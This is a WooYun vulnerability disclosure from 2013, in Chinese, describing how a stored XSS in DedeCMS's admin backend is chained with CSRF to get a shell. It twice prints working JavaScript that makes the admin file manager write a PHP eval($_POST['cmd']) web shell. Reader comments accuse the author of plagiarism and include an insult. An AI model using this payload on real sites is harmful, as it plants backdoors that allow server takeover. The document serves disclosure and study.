当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-025175

漏洞标题：dedecms利用xss+csrf getshell

相关厂商：Dedecms

漏洞作者： sky

提交时间：2013-06-06 12:11

修复时间：2013-06-11 12:12

公开时间：2013-06-11 12:12

漏洞类型：网络设计缺陷/逻辑错误

危害等级：中

自评Rank：8

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-06-06： 细节已通知厂商并且等待厂商处理中
2013-06-11： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

之前乌云爆的一个二次注入的漏洞,其中title能够xss,但是官方只是修复了注入,xss并没有修复,只是在title上加了addslashes。

详细说明：

1.jpg


后台可触发xss

2.jpg


利用js代码

var request = false;
	if(window.XMLHttpRequest) {
	request = new XMLHttpRequest();
	if(request.overrideMimeType) {
	request.overrideMimeType('text/xml');
	}
	} else if(window.ActiveXObject) {
	var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
	for(var i=0; i<versions.length; i++) {
	try {
	request = new ActiveXObject(versions[i]);
	} catch(e) {}
	}
	}
	xmlhttp=request;
	 
	getshell();
	function getshell(){
	 
	var postStr="fmdo=edit&backurl=&activepath=%2Fdedecmsfullnew%2Fuploads%2Fuploads&filename=paxmac.php&str=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E&B1=++%B1%A3+%B4%E6++";//url需要自己修改
	 
	xmlhttp.open("POST", "http://paxmac/dedecmsfullnew/uploads/dede/file_manage_control.php", true);//url需要自己修改
	xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xmlhttp.setRequestHeader("Content-length", postStr.length);
	xmlhttp.setRequestHeader("Connection", "close");
	xmlhttp.send(postStr);
	}


3.jpg


触发前

4.jpg


触发后

5.jpg


漏洞证明：

1.jpg


后台可触发xss

2.jpg


利用js代码

var request = false;
	if(window.XMLHttpRequest) {
	request = new XMLHttpRequest();
	if(request.overrideMimeType) {
	request.overrideMimeType('text/xml');
	}
	} else if(window.ActiveXObject) {
	var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
	for(var i=0; i<versions.length; i++) {
	try {
	request = new ActiveXObject(versions[i]);
	} catch(e) {}
	}
	}
	xmlhttp=request;
	 
	getshell();
	function getshell(){
	 
	var postStr="fmdo=edit&backurl=&activepath=%2Fdedecmsfullnew%2Fuploads%2Fuploads&filename=paxmac.php&str=%3C%3Fphp+eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E&B1=++%B1%A3+%B4%E6++";//url需要自己修改
	 
	xmlhttp.open("POST", "http://paxmac/dedecmsfullnew/uploads/dede/file_manage_control.php", true);//url需要自己修改
	xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	xmlhttp.setRequestHeader("Content-length", postStr.length);
	xmlhttp.setRequestHeader("Connection", "close");
	xmlhttp.send(postStr);
	}


3.jpg


触发前

4.jpg


触发后

5.jpg

修复方案：

XXOO

版权声明：转载请注明来源 sky@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-06-11 12:12

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2013-06-06 13:29 | erevus ( 普通白帽子 | Rank:177 漏洞数:30 | Hacked by @ringzero 我錯了)

    神奇路人甲来wooyun拿奖金了

  2. 2013-06-07 04:47 | mramydnei ( 普通白帽子 | Rank:348 漏洞数:79 )

    有时候同样的洞 换个作者就通过了 不得不称赞其神奇性

  3. 2013-06-07 06:17 | sky ( 实习白帽子 | Rank:94 漏洞数:30 | 有一天，我带着儿子@jeary 去@园长 的园长...)

    @mramydnei 你个J8的小东西，在乌云有你说话的份么

  4. 2013-06-12 16:24 | 小土豆 ( 普通白帽子 | Rank:129 漏洞数:22 )

    膜拜洞主 学习了。

  5. 2013-07-01 13:19 | 花开若相惜 ( 实习白帽子 | Rank:33 漏洞数:8 | 技术无止境.)

    直接拿我blog上复制过来 图片都不改一下也能通过？

  6. 2013-07-01 13:23 | 西施店De包子 ( 路人 | Rank:4 漏洞数:1 | 一介屌民，不值一提)

    神奇的洞主， 花花蛋疼吧 哈哈哈哈哈

  7. 2013-11-27 23:03 | Mosuan ( 普通白帽子 | Rank:449 漏洞数:166 | 尘封此号，不装逼了，再见孩子们。by Mosua...)

    洞主。。。。其实我想说你怎么8个洞都被忽略。。。

  8. 2014-02-17 16:25 | 冷静 ( 路人 | Rank:3 漏洞数:2 )

    sky居然抄袭别人的洞？